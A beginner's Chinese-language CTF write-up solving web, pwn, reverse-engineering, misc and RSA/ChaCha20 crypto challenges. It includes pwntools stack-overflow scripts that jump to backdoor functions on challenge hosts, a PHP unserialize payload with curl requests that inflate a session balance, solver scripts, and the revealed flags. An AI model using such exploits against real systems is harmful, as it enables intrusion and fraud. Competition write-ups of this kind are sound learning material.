碎碎念
这是我初学CTF打的题目最多的一个比赛(但是是由队友带飞和AI神力),之前的CISCN和蓝桥杯做出的题目都太少,完全不知道专门发博客(说白了我太菜)。
不过这篇wp里面绝大部分内容我还是看不懂~~~ 希望以后能都懂吧……
WEB-Snake_Game
题目截图

根据提示信息,我们得到300分即可获取flag。
按F12查看前端代码,发现checkWin(s)函数:
function checkWin(s) {
let formData = new FormData();
formData.append('score', s);
fetch('index.php', { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
let msgEl = document.getElementById('msg');
if(data.status === 'success') {
msgEl.style.color = '#2ecc71';
msgEl.innerText = data.flag;
} else {
msgEl.style.color = '#e74c3c';
msgEl.innerText = "Game Over! " + data.message;
}
});
}
其中,它向后端index.php路由发送了一个带有score的POST请求。因此我们可以手动发送请求,并让score足够高。

PWN-Authenticate
题目截图

解题思路
使用IDA逆向题目附件,在login函数中发现使用了存在栈溢出漏洞的gets()函数,且存在backdoor后门函数。因此连接靶机,填充 0x80+8 个字符后填入backdoor+5地址(0x4011FB)(越过push rbp避免栈指针错位),即可getshell。
from pwn import *
sh = remote('120.27.146.76', 28517)
pad = 0x88
target = 0x4011FB
sh.sendline(b'awa')
sh.sendline(b'a' * pad + p64(target))
sh.interactive()

PWN-NoteService
题目截图

解题思路
将vuln文件用IDA分析,注意到read函数可接受的长度远大于buf(0x100 > 64),且存在后门函数secret_note,存在栈溢出漏洞。
填入 0x48 垃圾数据后发送secret_note+5即可(避免栈指针错位)。
from pwn import *
sh = remote('47.99.147.34', 21314)
target = 0x40119B
pad = 0x48
sh.sendline(b'a' * pad + p64(target))
sh.interactive()

rerere
题目截图

解题思路
运行文件,发现要求输入一段文本,随便输入一些后输出Wrong!并退出。
IDA分析文件,查找字符串Wrong!并在IDA View中打开,寻找DATA XREF引用,定位到函数sub_1400014FB。简单分析可发现,除去n外,flag长度为38。在输出Correct的if分支条件里找到check函数,它将输入与另一段数据key按位模8异或,并将得到的值作为下标索引取另一大段数据内的数据,拼在一起得到一段密文。
因此思路可以明确:先将密文中的每一个字节按位对应找到相应下标,再将所有下标与key按位模8异或,即可得到原文。
mapping = '''C2 23 97 49 83 F6 D3 A7 EB BF 78 C3 29 56 D2 1A
13 BC 21 6A 37 8E 5F 0C B4 46 DE E4 6C A2 66 30
0F A4 BB 8C 09 4B 3D 32 42 55 2D 4F F9 77 1B 74
1F 71 7B 9D 73 C4 AB D0 F3 C1 88 07 DC CE EF C0
72 4A 27 81 9B EE C7 28 26 5A 94 54 70 D1 E9 C8
98 36 91 41 B8 3A 79 0A 08 E5 AF 80 24 AE 00 19
CC 7A F7 51 7D 69 EC 03 65 25 1C 01 F5 E6 BD D9
59 FE 92 B0 10 6F F0 E3 9F AD 84 F4 A5 33 35 48
53 B1 E0 D8 05 38 18 68 A9 14 C6 3F 61 8A 31 3B
BA 2B 4E E2 57 9A F1 EA 64 7E A0 93 B6 DA 60 2E
1D 5B 82 34 6D FC CF 7F E7 96 67 43 06 44 C9 4C
40 DB FD 4D B5 ED 39 2C B3 17 9E CD FA 6B CA 87
8F 9C 89 0E 63 45 86 AA 5E 95 16 C5 D5 2F A1 F8
99 FF 3C 0D 3E D4 04 76 D7 47 20 8D DF 5C 7C A3
1E 8B 15 B9 A8 CB 22 A6 52 D6 FB 5D DD B2 6E E8
F2 E1 2A 58 62 12 11 50 75 B7 AC 90 0B 85 02 BE'''.replace(' ', '')
mapping = bytes.fromhex(mapping)
print(mapping)
enc = '''A3 5B 4C 0A 0E C2 33 D5 5C 90 E7 A7 14 3A 84 DA
31 B7 44 BF C6 3A F9 C5 20 12 AC C2 C6 91 35 64
A3 62 90 83 53 6C'''.replace(' ', '')
enc = bytes.fromhex(enc)
key = 'B9 CD CE 30 B8 61 4E AA'.replace(' ', '')
key = bytes.fromhex(key)
indexes = []
for b in enc:
print(b)
indexes.append(mapping.index(b.to_bytes(1)))
print(indexes)
final = ''
v2 = 0
for i in indexes:
final += chr(i ^ (key[v2 % 8]))
v2 += 1
print(final)

字节码迷踪
题目截图

解题思路
直接逆向pyc文件,得到部分源码:
#!/usr/bin/env python
import base64
def decrypt_flag(encoded_data, key):
pass
# WARNING: Decompyle incomplete
def main():
encoded_flag = 'cHp3cW18ZCZ+JScuejtyZmN3O2MuY2I7ensjJDtieGNsYCVycXt6Z3Rr'
xor_key = 22
user_input = input('请输入flag: ').strip()
correct_flag = decrypt_flag(encoded_flag, xor_key)
if user_input == correct_flag:
print('正确!')
return None
print('错误!')
if __name__ == '__main__':
main()
return None
decrypt_flag函数并没有逆向出来,但根据变量名可以猜出是xor加密,密钥22(0x16),而encoded_flag存在+号,疑似Base64字符串。解密得到flag。
import base64
enc = 'cHp3cW18ZCZ+JScuejtyZmN3O2MuY2I7ensjJDtieGNsYCVycXt6Z3Rr'
enc = base64.b64decode(enc)
key = 22
for i in enc:
print((i ^ key).to_bytes(1).decode(), end='')

DES加密验证
题目截图

将附件使用jadx分析,在MainActivity中发现使用反射动态加载了com.cr.test.wide类,从中找到了verify函数。函数调用了verifyFlag(String str) native方法,因此从jnilib中寻找验证函数。
将so文件用ida分析,通过OnLoad找到动态加载函数表,找到verifyFlag函数。经过分析,输入的字符串先进行一次PCKS7填充,后被用于DES加密,但加密的结果并没有被使用,而是直接将填充后的字符串转hex存储。因此可逆向flag。

幻影
题目截图

解题思路
得到data.bin文件,用010editor查看16进制,发现提示进行了base64和异或
推测下面部分位加密后结果
Nz0wNio1MmVmYTJhaHw1ZzQyfGU1ZjJ8aDIwZ3wwaWRjYmRiNGJlMzMs

base64解密得到7=0开头,对应16进制37 3D 30,由异或的原理(
A ^ B = C 则 A ^ C = B)和结果位f开头推测,0x37 ^ 0x66 = 0x51,推测异或数字位0x51用cyberchef得到flag

签到题-损坏的压缩包
题目截图

解题思路
得到个txt文件,内容:
bmR0Zw==
用cyberchef来base64解密得到flag( 补全flag和{})

迷宫
题目截图

解题思路
打开文件,最终得到vault.bin文件,用010editor打开

base64解密,用cyberchef,补全flag

babyRSA
题目截图

解题思路
得到output和task.py代码
基础RSA,直接给python脚本
from Crypto.Util.number import long_to_bytes
n = 119462420784154105287477907338687314148748680087062818596679748019039874463028245176436697023028139386911200014457634920585600705258627806780412113594113427042570622210385728200137718026136892943193293629041610913603165173168203542499119014715006667033837430631135192669531260141856380589300121127571331140647
e = 3
c = 2217344750798484326817212181921397010209057560599949572118805610572489689091481005306684821038929111122282814090181724832846969082741139590693697098487985460761901508186753252919647300276269339282712874683171961658223852440260976026280149180616107949832622420023125006244197
def integer_cbrt(n):
low = 1
high = n
while low < high:
mid = (low + high) // 2
if mid**3 < n:
low = mid + 1
else:
high = mid
return low
m = integer_cbrt(c)
if m**3 == c:
flag = long_to_bytes(m)
print("Flag: ", flag.decode('utf-8'))
得到flag

ScatterRSA10
题目截图

解题思路
从文件中得到task.py和output.txt
这道题是极其经典的 RSA 线性填充广播攻击(Hastad’s Broadcast Attack)。
题目把同一个明文 Flag,经过了 3 次不同的随机加噪处理($a cdot m + b$),然后用相同的极小公钥指数 $e = 3$ 进行了 3 次 RSA 加密。
虽然加入了 $a$ 和 $b$ 的干扰,但因为公钥指数 $e=3$ 实在是太小了,而且我们手握 3 组不同的密文和模数($n_1, n_2, n_3$)。这意味着,我们可以利用中国剩余定理(CRT)把这 3 个加密方程融合成一个巨大的方程。在这个巨型方程里,我们要找的 Flag 长度相对于方程的规模来说非常小,这就满足了 Coppersmith 定理 的求解条件,可以直接出答案。
利用已知参数,将 3 个信道的加密方程分别改写为以 $x^3$ 开头的标准多项式。使用 CRT,把这 3 个独立多项式的系数融合成一个模 $N$($N = n_1 cdot n_2 cdot n_3$)的全局多项式。
将合并后的多项式放进 SageMath 环境中,直接调用内置的 .small_roots() 自动求解出代表 Flag 整数值的 $m$。将得到的长整数 $m$ 转换回十六进制,再翻译成常规字符串
使用在线平台运行sage代码 sagecell.sagemath.org
n1 = 78081870337844414151241100305158826036375259465973937152030168481472074627679922817572311521252935997797052713882730821458948887248271287486322664809111447767214849959631852414688303170071807154156181079411302069530277397488939107857192997361132976176030487000445122823976567397443528813759208405977421005221
a1 = 187123381335987084337749097513339776382
b1 = 97209934871826592730509592795116155578419009399702491386475812956341303721955
c1 = 14123478097555544583040915650622954051865393647452672192119376894613088319670171524620165803687113853287440124300534523915757452838191529401351103434081352612662863012249389885160910664649407564203742220725280677270280439758021531155314255114762144862618860795080828651022096534091658229812919874812038277765
n2 = 151298592284001160632170405845753959036244653410892577293430940404341362490681866811415774669776195998526885548860876628647806811333915771852617451974282503276734816183085207960566719048869313969576061706357425836858627350032928726041836856560590797190119412160618944863771627536132838876605883991970892962193
a2 = 255028239960364829019667959380443332639
b2 = 75168460615495162386855776280390548051362095782752087871619896408940387062248
c2 = 147458755573177812766535997252156093328108537370116815674293282928365573512879441899814507479182611225079060254576242105206605583257270697125272066345762421410211017283262151880295537520725338228346626840605498567485989997707003616168214508795014149221418862470567239522513586735123900093358395338873917731365
n3 = 123780523634252096831680175316357288442265880579703275997478211251677743044096940923671388596333127526795194955612937986046444715991687899935054199805982269720064313957492856004199361000831620913715613106431607539983125960124285449295999239150639249585185515802154914674109087962005299156068008961415619788389
a3 = 170648777349710569773110487741653328136
b3 = 101656356358739203413100846765861840472115679906812525745896505745960127967887
c3 = 53415312813469381910901019087411336867228073148904651325937527207519414663703187305012971839144832933909714678630249138922137182970593182398234687600925206853876533503578712580071267901698423210441011509820482418257689331627293315735686036309282160156985499818089798596867969353597661163154295571213437645132
N = n1 * n2 * n3
inv_a1 = inverse_mod(a1, n1)
c2_1 = (3 * b1 * inv_a1) % n1
c1_1 = (3 * pow(b1 * inv_a1, 2, n1)) % n1
c0_1 = ((pow(b1, 3, n1) - c1) * pow(inv_a1, 3, n1)) % n1
inv_a2 = inverse_mod(a2, n2)
c2_2 = (3 * b2 * inv_a2) % n2
c1_2 = (3 * pow(b2 * inv_a2, 2, n2)) % n2
c0_2 = ((pow(b2, 3, n2) - c2) * pow(inv_a2, 3, n2)) % n2
inv_a3 = inverse_mod(a3, n3)
c2_3 = (3 * b3 * inv_a3) % n3
c1_3 = (3 * pow(b3 * inv_a3, 2, n3)) % n3
c0_3 = ((pow(b3, 3, n3) - c3) * pow(inv_a3, 3, n3)) % n3
C2 = crt([c2_1, c2_2, c2_3], [n1, n2, n3])
C1 = crt([c1_1, c1_2, c1_3], [n1, n2, n3])
C0 = crt([c0_1, c0_2, c0_3], [n1, n2, n3])
P.<x> = PolynomialRing(Zmod(N))
f = x^3 + C2*x^2 + C1*x + C0
print("LLL...")
roots = f.small_roots(X=2^512, beta=1)
if roots:
m = int(roots[0])
hex_str = hex(m)[2:]
if len(hex_str) % 2 != 0:
hex_str = '0' + hex_str
try:
flag = bytes.fromhex(hex_str).decode('utf-8')
print("Flag: ", flag)
except Exception as e:
print(hex_str)
else:
print("nothing")
ChaCha20
题目截图

解题思路
用 IDA 打开 SO 文件,由于根据题意得知流密码,首先考虑通过算法的特征立即数进行定位。
ChaCha20 算法在初始化其 $4 times 4$ 矩阵时,必然会将固定常量字符串切分为 4 个 32 位的整数填入矩阵的前 16 个字节 。
在 IDA 中使用 Search -> Immediate value 全局检索常数 0x61707865(即字符串 expand 32-byte k 的前四个字节小端序) 。
双击检索结果,加密函数 sub_26CC0 为ChaCha20加密算法。
在 sub_26CC0 函数名上按快捷键 X 查看交叉引用,追溯到其上层包装函数 sub_25740 。
unk_F2E1 :跳转到该内存地址,提取出硬编码的连续 32 字节十六进制数据:149263A16F2D89CBF0375B1CA94E78D3226017EE9ABC4D0853E1762A8DC4903F
unk_F301 :跳转提取出连续 12 字节十六进制数据:44332211ABCDEF668899AA55
继续对 sub_25740 向上追溯,最终来到外层验证函数 sub_25330 。 在 sub_25330 中,程序在加密完成后调用了字符表 123456789abcdef,说明异或后的二进制密钥流结果被转化为了可见的 Hex 字符串 。而在之后的 for 循环比对中,程序将生成的 Hex 与硬编码的目标数据进行了逐位校验 。
在导出的数据段 .rodata 中,在相对应的偏置位置成功剥离出出题人写死的最终 Hex 密文字符串:
d097c3f6d2238172e871ee74bca5859f88178f6e
在编写解密脚本时涉及一个极其隐蔽的本地坑点:在上层函数 sub_25740 中,程序初始化的计数器变量被控制为 v10 = 1;,并且随后在调用核心引擎时执行 sub_26CC0(v7, v10++, ...) 。这意味着 SO 层实现的 ChaCha20 块计数器(Counter)是从 1 开始递增计算的,而非标准密码学库默认的 0 。
为了在 Python 中对齐这种特殊的内部状态,解密前需要先让密码器去解密 64 个空字节(即 1 个 Block 长度),强行将内部的 Counter 状态推进到 1,然后再传入真正的密文进行解密 。
from Crypto.Cipher import ChaCha20
key = bytes.fromhex("149263A16F2D89CBF0375B1CA94E78D3226017EE9ABC4D0853E1762A8DC4903F")
nonce = bytes.fromhex("44332211ABCDEF668899AA55")
ciphertext_hex = "d097c3f6d2238172e871ee74bca5859f88178f6e"
ciphertext = bytes.fromhex(ciphertext_hex)
cipher = ChaCha20.new(key=key, nonce=nonce)
cipher.decrypt(b'x00' * 64)
plaintext = cipher.decrypt(ciphertext)
print(plaintext.decode('utf-8', errors='ignore'))

WEB-Enterprise_OA
题目截图
环境关闭,无法复现。
解题思路
由题,提示路径穿越。通过修改module参数为“flag.txt”,即可得到flag。
Payment
题目截图
环境关闭,无法复现。
解题思路
从题目下载附件,解压后得到源码文件src
-
审计源码发现
/api/apply_coupon.php直接对用户传入的 Base64 内容执行:unserialize($decoded) -
models.php里存在可利用类:class PromoManager { public $promo_credit; public $promo_code; function __destruct() { if(isset($this->promo_credit) && is_numeric($this->promo_credit)) { $_SESSION['balance'] += intval($this->promo_credit); } } }反序列化
PromoManager对象后,请求结束时触发__destruct(),可以给当前 session 增加余额。 -
构造对象:
O:12:"PromoManager":2:{s:12:"promo_credit";i:100000;s:10:"promo_code";s:3:"VIP";}Base64 后为:
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MzoiVklQIjt9 -
使用同一个 cookie 会话提交优惠券,再购买 flag:
BASE='http://47.99.147.34:19231' COOKIE=/tmp/ctf_cookie_19231.txt PAYLOAD='TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MzoiVklQIjt9' curl -s -c "$COOKIE" "$BASE/" >/dev/null curl -s -b "$COOKIE" -c "$COOKIE" -X POST "$BASE/api/apply_coupon.php" -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode "coupon=$PAYLOAD" curl -s -b "$COOKIE" -c "$COOKIE" -X POST "$BASE/buy.php" -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'item=flag' -
返回中出现:
flag{89a06d987bdf79718d6c0c60ea91fcf5}
所以最终 flag:
flag{89a06d987bdf79718d6c0c60ea91fcf5}



